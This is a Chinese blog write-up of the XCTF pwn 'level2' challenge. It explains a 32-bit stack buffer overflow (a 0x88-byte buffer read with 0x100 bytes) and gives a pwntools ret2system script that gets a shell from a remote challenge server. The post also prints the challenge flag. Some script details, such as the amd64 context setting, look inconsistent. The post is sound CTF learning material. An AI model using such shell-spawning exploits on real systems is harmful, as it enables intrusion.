xctf pwn level2

前言:只能说是看着WP侥幸做出来了,里面很多不懂的地方.

1 分析

首先下载把环境附件整下来

在linux下打开,checksec

32位的,拖进ida

 进去后汇编界面根本看不懂,F5查看伪代码

 

 用linux运行也是这样

 发现有一个vulnerable_function()函数,点进去看一下

 

我们可以看出来 栈顶和栈底相差0x88个字节,但是read()却是0x100个字节

 r,s分别是返回地址和栈底。

既然这样,我们可以利用栈溢出来getshell。

2 构造栈溢出

 1 我们先是找到/bin/sh 和 system的地址

 

 2 构造栈溢出代码

from pwn import *
context(os="linux",arch="amd64",log_lv2="debug")
hyang = 1
elf = ELF("lv2")

def main():
    if hyang == 1:
        io = remote("111.200.241.244",62999)
    else:
        io = process("lv2")
    
    sys_adr = elf.symbols["system"]
    shell_adr = elf.search("/bin/sh").next()
    callsys_adr = 0x0804a024
    
    payload = 'a' * (0x88 + 4) + p32(sys_adr) + p32(0) + p32(shell_adr)
    payload2 = 'a' * (0x88 + 4) + p32(callsys_adr) + p32(shell_adr)
    
    io.recvline()
    io.sendline(payload)
    io.interactive()

main()

 3 远程连接

 flag:cyberpeace{b25ce94b7c0eae8e0163f4a9456a5b71}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值